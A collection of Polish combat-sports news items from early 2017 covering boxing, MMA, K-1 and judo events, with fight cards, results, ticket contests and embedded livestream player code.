Brytyjczyk wykorzystał przewagę warunków fizycznych, nie przestraszył się rywala. Może i pojedynek nie był rewelacyjny, ale dwie ostatnie rundy to prawdziwa wojna. Kliczko kończył walkę rozbity i przygnębiony, bo Fury wygrał jednogłośnie na punkty. Stał się posiadaczem czterech pasów, ale Ukrainiec żądał rewanżu. Od tego momentu zaczęły się dziać dziwne rzeczy. Wyznaczono termin na 9 lipca, ale z powodu problemów zdrowotnych Fury'ego walkę przełożono. W międzyczasie mistrz stracił pas IBF, bo nie chciał stanąć do obowiązkowej obrony tytułu. Wokół rewanżu z Kliczko pojawiały się kolejne wątpliwości. W końcu na światło dzienne wyszły problemy Fury'ego. W jego organizmie wykryto kokainę, a sam bokser przyznał się do uzależnienia i depresji. Mówił, że chce zakończyć karierę, w tle pojawił się również problem alkoholowy. Fury oddał pasy WBA i WBO, ale od tego czasu minęło już blisko pół roku.

Czas leczy rany. Nie inaczej jest w przypadku Fury'ego, który rozważa powrót na ring. Czy to możliwe?

Zbędne kilogramy

Po wszystkich zawirowaniach boksera czeka dużo pracy. Przede wszystkim musi zbić wagę, bo ta wskazuje aż 158 kilogramów. – To nie problem. Zaczynam od początku, zapominam o tym, co było i myślę o tym, co będzie – powiedział Tyson Fury.

Za nim ciężkie chwile. Z pewnością sport to dobra droga, aby wrócić na prostą. – Jeśli pokonałem depresję, to dam radę. Za mną najtrudniejsza walka – przyznaje Fury.

KM

Gala Ladies Fight Night „Five Points” już za niespełna miesiąc! Wejściówki do zgarnięcia podczas Forum MMA.

Już po raz piąty włodarze jedynej w Europie żeńskiej organizacji sportów walki zapraszają na galę Ladies Fight Night. Tym razem – do Poznania! Już 8 kwietnia, w sobotę, utalentowane zawodniczki z Polski i zagranicy skrzyżują rękawice podczas największych targów motoryzacyjnych w Polsce, na gali LFN „Five Points”. Zapowiada się mocne show, do którego dziewczyny z LFN Team przygotowywały się w legendarnym holenderskim klubie Mike’s Gym! Udział w gali, podobnie jak w poprzednich jej edycjach, jest bezpłatny, a wejściówki będzie można zdobyć m.in. podczas marcowego Forum MMA.

LFN Five Points

Po Łodzi, Warszawie i Karpaczu przyszedł czas na stolicę wielkopolski. Piąta gala żeńskiej organizacji sportów walki odbędzie się w drugą sobotę kwietnia w hali poznańskich targów MTP. LFN „Five Points” to pierwsza gala organizacji w tym roku. „Rok 2016 zamknęliśmy z dużą pompą podczas urodzinowej gali w Karpaczu. Oprócz świetnej atmosfery i pięknych okoliczności przyrody nie zabrakło przede wszystkim fantastycznego sportowego widowiska. A ponieważ lubimy podnosić sobie poprzeczkę coraz wyżej, to ten rok otwieramy galą podczas największych targów motoryzacyjnych w Polsce i czwartych w Europie. Najmocniejszym zawodniczkom z Polski i zagranicy będzie towarzyszył głośny ryk silników. Atrakcji na pewno nie zabraknie” – zdradza Łukasz Chmal, prezes organizacji Ladies Fight Night.

""

 

Karta walk

Organizatorzy zdradzili niedawno, że na karcie walk LFN „Five Points” pojawi się dobrze znana fanom sportów walki i utalentowana zawodniczka MMA Katarzyna Lubońska. „Cieszymy się, że dzięki dobrej współpracy LFN z KSW Katarzynę Lubońską będziemy w tym roku oglądać w barwach Ladies Fight Night” – komentował Łukasz Chmal, prezes Ladies Fight Night. Przeciwniczką Lubońskiej (4-2-0) będzie Vuokko Katainen (3-3-1), która po półtorarocznej przerwie powraca do klatkoringu z ogromnym głodem zwycięstwa. Finka zapowiada, że jest jeszcze mocniejsza niż przed kontuzją, a przypomnijmy, że w 2013 roku pokonała Sylwię Juśkiewicz. 

Sylwia „Mała” Juśkiewicz (5-4-0) także pojawi się znów w klatkoringu LFN. Jej przeciwniczką na poznańskiej gali będzie zawodniczka z Ukrainy – reprezentująca klub Spartakus Rzeszów Lyudmyla Pylypchuk (2-3-0).

W karcie walk Ladies Fight Night „Five Points” jest również Hanna Gujwan z LFN Team, która ma za sobą debiut na gali japońskiej organizacji RIZIN i prawdopodobnie jeszcze w tym roku ponownie zawalczy w kraju kwitnącej wiśni. Przeciwniczką Gujwan będzie zawodniczka z poznańskiego klubu Kohorta – Natalia Leciejewska, a walka odbędzie się w formule K-1. Lokalny klub Kohorta Poznań wystawi jeszcze jedną reprezentantkę, Martę Gusztab. Jej przeciwniczkę poznamy wkrótce.

Podczas poznańskiej gali z fighterkami z Francji, Czech, Finlandii i Niemiec zmierzą się także takie zawodniczki LFN Team, jak Katarzyna Sadura, Judyta Rymarzak i Katarzyna Biegajło. Gospodarze organizacji planują aż 11 emocjonujących pojedynków pań, do których dziewczyny z LFN Team przygotowywały się pod koniec lutego w legendarnym holenderskim klubie Mike’s Gym, uważanym za jeden z najlepszych na świecie.

Wejściówki

Zawodniczki LFN Team, pierwszej i jedynej w Europie żeńskiej organizacji sportów walki, będzie można spotkać podczas zaplanowanego na 25 marca Forum MMA. Na Stadionie Narodowym w Warszawie odbędzie się konferencja prasowa organizacji, a na stoisku LFN będzie można spróbować swoich sił w pojedynku na uderzenia z najmocniejszymi dziewczynami z teamu LFN i zdobyć wejściówki na poznańską galę.

Gala Ladies Fight Night „Five Points” będzie transmitowana na Facebooku organizacji oraz na stronie internetowej. Tam również szukajcie informacji o darmowych wejściówkach na wydarzenie!

www.lfn.com.pl

LIVE: Mistrzostwa Polski K-1 Legnica 2017 Day 1

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.

11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe

12 marca 2017r. (niedziela)

godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick

[kod]

RING 1

Mistrzostwa Polski K-1 Legnica 2017

Mistrzostwa Polski K-1 Legnica 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20171.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20171.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20171.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20171.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Polski K-1 Legnica 2017 Day 2

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.

11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe

12 marca 2017r. (niedziela)

godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick

[kod]

RING 1

Mistrzostwa Polski K-1 Legnica 2017

Mistrzostwa Polski K-1 Legnica 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20171.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20171.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20171.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20171.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Gala Granda Pro 3

Zapraszamy na transmisję telewizyjną z Gali Granda Pro 3, która odbędzie się 18 marca 2017 r. w Warszawie w Legia Fight Club. Start transmisji od godz. 19.00.

[kod]

RING 1

Gala Granda PRO 3

Gala Granda PRO 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Gala Granda Pro 3 już 18 marca w Legia Fight Club

Zawodnik Legia Fight Club Grzegorz Sanecki stoczy walkę wieczoru podczas zawodowej gali Granda PRO 3, która odbędzie się 18 marca przy Łazienkowskiej 6A w sali LFC. Rywalem Saneckiego będzie Emil Różewski. Prezentujemy kartę walk!

Legia Fight Club zaprasza na galę Granda PRO 3, która odbędzie się 18 marca 2017 r. W programie znajduje się dziesięć pojedynków – po pięć MMA i K1. W walce wieczoru zmierzą się zawodnik Legia Fight Club Grzegorz Sanecki i Emil „Róża” Różewski.

To już trzecia profesjonalna gala organizowana przez Legia Fight Club. Pomysł wywodzi się z Warszawskiej Grandy, czyli amatorskich sparingów, które każdego miesiąca odbywają się w Legia Fight Club. To autorski pomysł LFC na treningowe walki pięściarskie, stójkowe oraz w brazylijskim jiu-jitsu. Gale zawodowe cieszą się sporą popularnością. Sala treningowa na jeden wieczór zostaje zaadaptowana na potrzeby Grandy PRO. Pojawia się specjalne oświetlenie, liczna widownia, stoliki VIP, kamery telewizyjne… i sport na bardzo wysokim poziomie.

Na deser, po dziewięciu wcześniejszych pojedynkach, odbędzie się walka wieczoru – zawodnika Legia Fight Club Grzegorza Saneckiego z Emilem Różewskim. Grzegorz pokaże się już na trzeciej Grandzie PRO. Oba wcześniejsze pojedynki efektownie kończył przed czasem w parterze. „Róża” to judoka, ale już ze sporym doświadczeniem w MMA, więc zapowiada się naprawdę zacięty bój. 

Oficjalne ważenie zawodników zaplanowane jest na 17 marca na Stadionie Legii Warszawa.

Bilety wstępu zostaną udostępnione do sprzedaży w najbliższy piątek (3 marca) w recepcji Legia Fight Club (ul. Łazienkowska 6A).

KARTA WALK

MMA

-66 kg: Sylwester Miller – Paweł Wielgus

-77 kg: Wojciech Sokólski – Michał Orynek

-84 kg: Jakub Mioduszewski – Bartek Sitnik

-93 kg: Artur Zaręba – Dmitriy Slobodskoy

K1

-67 kg: Piotr Wielkopolan – Adrian Makar

-71 kg: Kamil Pawlak – Jakub Rajewski

-75 kg: Patryk Małecki – Daniel Strzemiński

-86 kg: Wiktor Waszczuk – rywal do ustalenia

-75 kg: Adam Molędys – Dawid Mirkowski 

WALKA WIECZORU – MMA -77 kg

Grzegorz Sanecki – Emil Różewski

""

Autor: Dariusz Urbanowicz Fot. Jacek Prondzynski

Wygraj bilety na FEN 16 Warsaw Reloaded!

Już 11 marca w warszawskiej hali Torwar zrobi się niezwykle gorąco, a to za sprawą gali FEN 16 Warsaw Reloaded. Mamy dla Was sześć biletów na to wydarzenie! Zapraszamy do zabawy!

Widzowie zobaczą dwanaście wyjątkowych walk, podczas których z pewnością nie zabraknie emocji.

Powrót do Warszawy

Po niespełna roku federacja Fight Exclusive Night ponownie zawita do Warszawy. Wyjątkowym wydarzeniem gali FEN 11 było pożegnanie Igora Kołacina, który potrzebował tylko 180 sekund, aby rozprawić się z Krzysztofem Pietraszkiem. Z kolei w walce o pas wagi lekkiej Roman Szymański pokonał Mariana Ziółkowskiego.

11 marca Torwar wypełni się miłośnikami MMA i K-1. Ponownie w ringu zaprezentują się Arkadiusz Wrzosek, Marcin Szreder i Bartłomiej Kopera. Podczas poprzedniego występu w Warszawie 24-latek występujący w K-1 poniósł porażkę, jednak na FEN 13 wygrał z Kryspinem Kalskim. Teraz Wrzosek zmierzy się z Arturem Bizewskim, który ostatnio pokonał Marcina Szredera. Z kolei rywalizujący w MMA Kopera (68kg) jest na fali. Wygrał sześć kolejnych walk, a w Warszawie po raz trzeci wejdzie do klatkoringu FEN. Jego rywalem będzie mistrz francuskiej federacji FMC Daguir Imavov. Z kolei 40-letni Szreder stoczy szóstą walkę w K-1. Zawodnik warszawskiej Palestry zmierzy się z Iharem Kamkou.

Ciekawie zapowiada się starcie w MMA w limicie 77kg pomiędzy Ireneuszem Szydłowskim i Pawłem Pawlakiem. 43-latek mocnym akcentem wszedł do rywalizacji w FEN. Podczas sierpniowej gali w Gdyni efektownie uporał się z Bartoszem Chryką, którego pokonał w drugiej rundzie. Udanego debiutu nie ma za sobą Pawlak. Na FEN 12 przegrał z Igorem Fernandesem. Atutem Pawlaka jest doświadczenie zdobyte podczas występów w UFC.

Mocnym akcentem będzie debiut Radosława Paczuskiego, który dotychczas występował na galach DSF. 24-latek jest jedną z największych gwiazd polskiego kickboxingu. W ubiegłym roku zdobył pas mistrza świata K-1 Global. Paczuski stanie przed trudnym wyzwaniem, ponieważ Brice Kombou to niezwykle mocny zawodnik. Reprezentant Niemiec wygrał 17 z 19 zawodowych walk, z których aż 12 przed czasem. W walce wieczoru Kamil Łebkowski zmierzy się z Gabrielem Silvą.

Gala FEN 16 w sobotę, ale wcześniej odbędzie media trening i ceremonia ważenia. Odpowiednio 9 marca o 16.00 i dzień później o 17.00. Transmisję z obu wydarzeń będzie można śledzić na antenie FighTime!

Bilety czekają

Zapowiada się niezwykle smakowity kąsek dla miłośników sztuk walki. Chcesz z bliska śledzić zmagania fighterów? Nic prostszego! Wystarczy wziąć udział w naszym konkursie i liczyć na uśmiech losu. Do rozdania mamy sześć wejściówek na galę FEN 16  Warsaw Reloaded. Wystarczy, że 8 marca o godz. 13.00 wyślesz maila na adres k.malkinski@marklaw.pl. W tytule wiadomości należy wpisać FEN 16, a w treści podać imię, nazwisko i numer telefonu. Decyduje kolejność zgłoszeń.

KM

LIVE: Gala Ladies Fight Night 5 – konferencja i ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia i konferencji prasowej, które odbędą się w dniu 7 kwietnia w Poznaniu przed Galą Ladies Fight Night 3.

[kod]

Gala LFN 5 – Five Points

Gala LFN 5 – Five Points

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LFN5.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LFN5.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LFN5.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LFN5.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Fight Expert Magazine w salonach Empik oraz w punktach Ruch, Relay i Inmedio od 31 marca!

„FightExpert Magazine” w kwietniu wraca na polski rynek prasowy. Wznowione wydanie naszego dwumiesięcznika będzie dostępne w salonach Empik oraz w punktach Ruch, Relay i Inmedio od 31 marca!

Gwiazdami okładki zbliżającego się wydania zostali zawodnicy historycznej gali KSW Colosseum, a w środku znajdziecie typy i analizy walk zbliżającej się gali na PGE Narodowym, wywiad z Arianą Lipski oraz tekst o historii rozwoju krajowego potentata.

W najnowszego wydaniu magazynu znajdziecie również sporo ciekawych wywiadów, między innymi z Damianem Stasiakiem walczącym dla UFC, Łukaszem Pławeckim walczącym dla Glory oraz Paulem Daley’em występującym obecnie w Bellatorze. Do tego będziecie mogli zapoznać się ze spojrzeniem Andrzeja Kościelskiego na pracę trenera, a także przeczytać podsumowanie obecności polskich zawodników w UFC.

W magazynie nie zabraknie także innych interesujących treści. Będziecie mogli poszerzyć wiedzę z zakresu uszkodzeń więzadła krzyżowego oraz poznać znaczenie wody dla ludzkiego organizmu. Całość dopełnią techniki BJJ od Adama Wardzińskiego i ćwiczenia stójkowe prezentowane przez Karolinę Kowalkiewicz i Łukasza Zaborowskiego.
Na nasze łamy powrócą również zdjęcia przepięknych, polskich Ring Girls, a dla wszystkich czytelników przewidzieliśmy również konkurs z nagrodami.

Zapraszamy również do odwiedzenia naszego stoiska na Forum MMA 25 marca na stadionie PGE Narodowym.

Polacy najlepsi w Katowicach

Pucharowe zmagania w Katowicach biało-czerwoni zakończyli z czterema medalami, co dało im triumf w klasyfikacji generalnej. Transmisję z zawodów przeprowadziła telewizja FighTime. Z kolei nasze judoczki rywalizowały w Pradze, gdzie zdobyły trzy medale.

Dla Polski turniej w Katowicach był wyjątkowy, ponieważ stanowił swego rodzaju test przed kwietniowymi mistrzostwami Europy w Warszawie. Mogliśmy sprawdzić, czy organizacyjnie i sportowo jesteśmy gotowi do czempionatu Starego Kontynentu.

Idziemy w dobrą stronę

Na listach startowych pojawiło się 53 Polaków. Faworytem do medalu był Piotr Kuczera (90kg), który kilka tygodniu temu triumfował w Rzymie. W Katowicach nie pozostawił rywalom złudzeń i wygrał pięć walk. W półfinale pokonał przez ippon Tomasza Szczepanika, a w finale wypunktował Petera Zilka. Na najwyższym stopniu podium stanął również Maciej Sarnacki (+100kg), którego na tatami nie widzieliśmy od igrzysk w Rio de Janeiro. Polak był głodny rywalizacji i niezwykle zdeterminowany. Wszystkie cztery walki wygrał przed czasem. Brązowe medale wywalczyli Patryk Wawrzyczek i Aleksander Beta (obaj 66kg). Szczepanik ostatecznie był piąty, z kolei Jakub Wójcik (100kg) zajął siódme miejsce.

Cztery medale pozwoliły Polakom zwyciężyć w klasyfikacji generalnej. – Jesteśmy bardzo zadowoleni z poziomu sportowego zaprezentowanego przez naszych judoków. Cieszy postawa Patryka Wawrzyczka, która jest dobrym prognostykiem na przyszłość. Dotychczas zdobywał medale na poziomie juniorskim. Pozytywnym zaskoczeniem jest dobry występ Aleksandra Bety. Mocnym punktem nadal jest Kuczera, który ponownie pokazał siłę. Udany powrót zaliczył Maciej Sarnacki – ocenia Jacek Zawadka, prezes Polskiego Związku Judo. – W zawodach wystartowało prawie 300 zawodników. Trenerzy eksperymentują i wystawiają różnych judoków. W Katowicach widzieliśmy, że młodzi judocy potrafią ambitnie i skutecznie walczyć. Przykładem 19-letni Aaron Fara (100kg), który triumfował w swojej kategorii. W finale uporał się z zajmującym miejsce w trzeciej dziesiątce Maximem Rakovem. Poziom sportowy turnieju był wysoki – dodaje. 

Zmagania w Katowicach były swego rodzaju testem przed mistrzostwami Europy w Warszawie. – Taka była idea. Turniej w Katowicach stanowił przetarcie przed mistrzostwami Europy. Zdarzały się sytuacje, które wymagały drobnych interwencji, ale były one niewidoczne dla oka. Nasze zaangażowanie dało efekt. Słyszeliśmy pozytywne oceny ze strony trenerów i Europejskiej Federacji Judo – podaje Zawadka.

Trzy w Pradze

Na zawody do Pragi pojechało 19 polskich judoczek, z których osiem zajęło miejsca punktowane. Biało-czerwone wywalczyły trzy krążki, co dało im trzecie miejsce w klasyfikacji medalowej.

Anna Borowska (57kg) wygrała pięć walk i stanęła na najwyższym stopniu podium. W finale pokonała Margriet Bergstrę, która po drodze wyeliminowała Beatą Pepera. Trzy wygrane walki wystarczyły Beacie Pacut (78kg) do zajęcia drugiego miejsca. W finale przegrała z Brazylijką Samantą Soares. Na drodze Agaty Ozdoby (63kg) w półfinale stanęła Clementine Louchez, która wygrała przez ippon. W walce o brąz Polka wygrała z reprezentantką Izraela Rotem Shor. 

KM

FEN 16 Warsaw Reloaded: final trailer

Już w sobotę, równo rok od znakomitej gali FEN 15 Warsaw Time, wojownicy organizacji Fight Exclusive Night​ powrócą na warszawski Torwar! Zobaczcie najnowszy trailer gali FEN 16 Warsaw Reloaded!

Bilety na galę na Eventim.pl (http://goo.gl/bM47vm), KupBilet.pl (http://goo.gl/Wdw5Pz) i Ticketik.pl (http://goo.gl/lyrfuz). Bilety VIP i grupowe – tel. 601 877 229.

[kod]

FEN 16 Warsaw Reloaded: media trening i ceremonia ważenia

Końcowe odliczanie przed galą FEN 16 Warsaw Reloaded trwa, ale zanim rozpocznie się sobotnie widowisko na Torwarze, kibiców MMA i K-1 zapraszamy na czwartkowy media trening oraz piątkową ceremonię ważenia zawodników. Transmisję na żywo z obu eventów, którą przeprowadzi telewizja Fightime.pl, będzie można śledzić na fanpage'u Fight Exclusive Night.

Oficjalny media trening – Uniq Fight Club, ul. VI Poprzeczna 23, 9 marca, godz. 16.00

W czwartkowym media treningu weźmie udział dziesiątka uczestników gali FEN 16 Warsaw Reloaded, wśród nich obaj bohaterowie walki wieczoru – Kamil "Bomba" Łebkowski oraz Brazylijczyk Gabriel "Gabito" Silva. Zawodników walczących w formule MMA reprezentować będą także Bartłomiej Kopera i jego rywal, Francuz Daguir Imavov, oraz Arbi Shamaev i jego przeciwnik Shely Santana z Brazylii. Natomiast spośród fighterów K-1, którzy wystąpią w sobotę na Torwarze, swoją formę i umiejętności zaprezentują Radosław Paczuski, Arkadiusz Wrzosek, Marcin Szreder oraz Piotr Bąkowski.

Oficjalna ceremonia ważenia – Torwar, ul. Łazienkowska 6A, 10 marca, godz. 17.00

Po raz kolejny uczestnicy gali Fight Exclusive Night będą mogli wejść na wagę już rano w hotelu – dzięki temu zawodnicy będą mieć więcej czasu na regenerację i odpowiednie przygotowanie się do czekającej ich w sobotę walki. Jeśli podczas porannego ważenia fighterzy nie zmieszczą się w limitach wagowych dla swoich kategorii, otrzymają szansę zważenia się ponownie podczas popołudniowej, otwartej dla mediów i publiczności oficjalnej ceremonii ważenia na Torwarze.

Wstęp na oba wydarzenia jest wolny, zarówno dla kibiców, jak i dziennikarzy. Wszystkich, którzy nie będą mogli przybyć na media trening lub ceremonię ważenia, zapraszamy do oglądania transmisji na żywo – relację online przeprowadzi telewizja Fightime.pl i będzie je można śledzić na fanpage’u FEN i stronie Fightime.pl.

Bilety na sobotnią  galę FEN 16 Warsaw Reloaded można kupować w serwisach Eventim.pl, KupBilet.pl oraz Ticketik.pl. W dniu gali dostępne będą także w kasach hali Torwar. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 16 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Tybura ponownie wygrywa przed czasem

Drugie zwycięstwo Marcina Tybury w UFC. Na gali w Las Vegas Polak pokonał przed czasem Luisa Henrique.

Pierwotnie 31-latek miał rywalizować z Brazylijczykiem 11 lutego w Centrum Barclays na Brooklynie. Do pojedynku nie doszło z powodów kłopotów zdrowotnych Luisa Henrique. Komisja Sportowa zdecydowała, że z powodu infekcji, która może zaszkodzić zawodnikowi z Kraju Kawy nie może on wystąpić na UFC 208. W jego miejsce wskoczył Justin Willis, ale i z nim Tyburze nie było dane się zmierzyć. Tym razem Komisja Sportowa uznała, że rywal jest… zbyt osłabiony zbijaniem wagi. „Co się odwlecze, to nie uciecze”. Na gali UFC 209 Polak zmierzył się z Luisem Henrique.

Aktywny Brazylijczyk nie dał rady

Luis Henrique chciał wykorzystać swoją najmocniejszą stronę, czyli zapasy. Od początku Brazylijczyk szukał obalenia i przenosił rywalizację do parteru, jednak Tybura potrafił szybko wstać na nogi. 31-latek dobrze prezentował się w stójce. Były zawodnik M-1 Challenge skutecznie opierał się rywalowi, który cały czas szukał obaleń. 

Dwie intensywne rundy sprawiły, że na twarzach Henrique i Tybury widać było oznaki zmęczenia. Jednak nie wpłynęło to na tempo trzeciej odsłony. Mocnym akcentem rozpoczął ją Tybura. Front kick i seria ciosów sprawiła, że Brazylijczyk poczuł siłę naszego zawodnika. Mimo to nadal szukał zejścia to parteru. W końcu mu się udało i zaskoczył Tyburę gilotyną, był o krok od poddania Polaka, jednak ten uwolnił się z trudnej sytuacji. Po chwili zdobył dosiad i zasypał Brazylijczyka uderzeniami, co sprawiło, że sędzia zdecydował się przerwać walkę.

Marcin Tybura debiutował w UFC blisko rok temu. W pierwszej walce przegrał z Timothy'm Johnsonem, następnie pokonał przed czasem Viktora Pestą. 31-letni Polak zanotował drugie zwycięstwo w UFC, a łącznie ma ich na koncie 15.

Kontrowersje wokół walki o pas

W Las Vegas doszło do starcia o pojedynek o mistrzostwo w wadze półśredniej. Tyron Woodley odpierał ataki Stephena Thompsona. Ostateczny werdykt wzbudził sporo kontrowersji. W ciągu pięciu rund Thompson pokazał się z dobrej strony i prowadził walkę. Mistrz był ostrożny, czekał na rywala. Dopiero w końcówce walki poważnie naruszył przeciwnika. Większościową decyzją sędziów wygrał Tyron Woodley.

Na gali UFC 209  czwarte zwycięstwo w karierze odniosła Cynthia Calvillo. 29-letnia Amerykanka pokonała w pierwszej rundzie przez duszenie zza pleców Amandę Cooper. Doświadczony Alistair Overeem ponownie triumfuje. 36-letni Holender w trzeciej odsłonie rozprawił się z Markiem Huntem. To 42. wygrana w karierze Overeema.

KM

Dramatyczna walka, triumf Polaka

Nie tylko Mateusz Masternak udanie wrócił na ring. W Barclays Center w Nowym Jorku Andrzej Fonfara pokonał Chada Dawsona.

„Polski Książę” w udanym stylu wrócił na ring, choć w Nowym Jorku stanął przed niezwykle trudnym zadaniem. 29-latkowi przyszło rywalizować z Chadem Dawsonem, który swego czasu zdobywał pasy WBC, IBF i IBO w wadze półciężkiej.

Wyszedł na prostą

Andrzej Fonfara konsekwentnie kroczył w stronę walki o mistrzowski pas. Niejednokrotnie podkreślał, że ponownie chciałby spotkać się z Adonisem Stevensonem, z którym w maju 2014 roku przegrał bój o pas WBC. „Polski Książę” zanotował trzy zwycięstwa, w tym pokonał groźnych Julio Cesara Chaveza Jr i Nathanem Cleverly'ego. Niespodziewanie potknął się w starciu z niżej notowanym Joe Smithem Jr. Polak dobrze rozpoczął walkę, kilka razy trafił Amerykanina, jednak ten posłał w stronę naszego zawodnika prawy sierpowy. Fonfara znalazł się na deskach, wstał, ale Smith Jr „poczuł krew” i postawił kropkę nad „i”. To była sensacja. Nikt nie spodziewał się takiego scenariusza.

Plan Fonfary legł w gruzach, a w stosunku do polskiego pięściarza pojawiły się głosy zwątpienia, co do jego możliwości. Po sierpniowej porażce 29-latek ciężko trenował, aby wrócić i pokazać, że za wcześnie go skreślono. W Nowym Jorku Polak stanął oko w oko z mocnym Chadem Dawsonem. Amerykanin miał na koncie wygraną z Tomaszem Adamkiem, jednak było to dziesięć lat temu. W sierpniu 2013 roku Dawson stracił pas WBC na rzecz Adonisa Stevensona. Od tamtego czasu stoczył cztery walki, z których trzy wygrał. Najlepsze lata bokserskiej kariery są raczej za 34-latkiem, jednak nadal pozostaje on mocnym nazwiskiem na bokserskim rynku. Dla Andrzeja Fonfary walka z były mistrzem WBC stanowiła ogromne wyzwanie. 

Doświadczenie Dawsona pozwoliło mu kontrolować pojedynek. Wraz z upływem czasu zdobywał przewagę i prowadził na kartach sędziów. Trafiał Polaka, konsekwentnie realizował swoją taktykę. Można powiedzieć, że zmierzał w stronę zwycięstwa. Jednak Fonfara wiedział, o co toczy się gra. Cały czas szukał kontaktu z rywalem i starał się wykorzystać swoje atuty. Pierwszy poważny sygnał w stronę Dawsona wysłał w dziewiątej rundzie. Potężny cios i Amerykanin znalazł się na deskach. Dawson stał, ale najgorsze dla niego dopiero miało nadejść. Akcja lewy-prawy sprawiła, że były mistrz WBC oparł się o liny, Fonfara wystrzelił serią ciosów i sędzia przerwał walkę.

Radość

Tym samym Andrzej Fonfara realizował swój cel. 29-letni pięściarz urodzony w Radomiu odniósł 29 zwycięstwo na zawodowym ringu, w tym 17 przed czasem. Znakomita końcówka dała mu upragniony triumf. Na kartach punktowych Polak przegrywał.

KM

Wygrany debiut mistrza olimpijskiego w MMA

Na gali PLMMA 72 w Łomiankach debiut w oktagonie zaliczył Szymon Kołecki (93kg). 35-latek mocnym akcentem zaczął przygodę z mieszanymi sztukami walki.

Szymon Kołecki miał okazję zasmakować rywalizacji w MMA. Przyszło mu rywalizować z Dariuszem Kaźmierczukiem, który na swoim koncie miał pięć walk, jednak żadnej nie wygrał.

Zwycięski debiut

Jeszcze kilka lat temu obserwowaliśmy Szymona Kołeckiego na pomoście. Podnosił ciężary i walczył o medale olimpijskie. Na swoim koncie zapisał srebro igrzysk w Sydney. Od niedawna może poszczycić się tytułem mistrza olimpijskiego. Po dyskwalifikacji Ilji Iljina do Polaka trafiło złoto z Pekinu. Kołecki może poszczycić się również medalami mistrzostw świata i aż pięcioma tytułami mistrza Europy. Karierę zawodniczą zakończył jesienią 2012 roku. Następnie został prezesem Polskiego Związku Podnoszenia Ciężarów, w sierpniu ubiegłego roku w związku z aferami dopingowymi naszych zawodników podał się do dymisji.

Kołecki przygotowywał się do debiutu pod okiem trenerów klubu Nastula/Okniński Team. Mistrz olimpijski z Pekinu szybko ruszył do ataku. 35-latek przeniósł walkę do parteru, przygotował sobie pozycję do ataku i zasypał Kaźmierczuka serią ciosów. Do akcji wkroczył sędzia, który przerwał pojedynek. Starcie trwało nieco ponad pół minuty.

Po debiucie Kołecki zdradził, że kolejną walkę stoczy prawdopodobnie 20 maja.

Naruszczka zdyskwalifikowany

Znany z występów na galach KSW Marcin Naruszczka bronił w Łomiankach pasa mistrzowskiego PLMMA w wadze średniej. Jego rywalem był Costello van Stennis. Holender postawił trudne warunki doświadczonemu Polakowi. W pierwszej rundzie 24-latek zaskoczył Naruszczkę, który musiał mieć się na baczności wobec aktywnego rywala. Van Steenis wyprowadził kilka groźnych ciosów. Po jednym z prawych podbródkowych walka przeniosła się do parteru. Holender rozkręcał się i czuł się bardzo pewnie w oktagonie. W drugiej odsłonie van Steenis trafił prawym prostym i ponownie walka przeniosła się do parteru, gdzie Naruszczka próbował założyć rywalowi balachę. Nie brakowało kontrowersji. Walka została zastopowano na chwilę, gdy Polak trafił kolanem w twarz rywala. Sędzia się zastanawiał, ale dał 33-latkowi szansę. Chwilę później pojedynek przerwano. W parterze Polak kopnął Holendra w twarz, przez co został zdyskwalifikowany.

